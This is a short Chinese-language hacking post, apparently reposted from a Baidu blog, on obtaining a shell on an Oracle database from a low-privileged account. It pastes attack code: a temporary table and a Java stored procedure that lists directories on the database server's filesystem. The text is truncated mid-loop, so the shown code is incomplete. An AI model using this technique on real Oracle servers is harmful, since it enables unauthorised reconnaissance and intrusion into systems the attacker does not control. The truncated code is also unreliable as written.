oracle低权限下获取shell

转载请标明:http://hi.baidu.com/hack_forensic 《关于oracle列目录的可行性测试》 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章< >最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code: create global temporary table BLUEUSER.dirlist( filename varchar2(255), filesize number, filedate date) on commit delete rows; / create or replace and compile java source named DirList as import java.io.*; import java.sql.*; public class DirList { public static void getList(String directory) throws SQLException { File path=new File(directory); String[] fileList=path.list(); String fileName; long fileSize; long fileDate; for (int i=0;i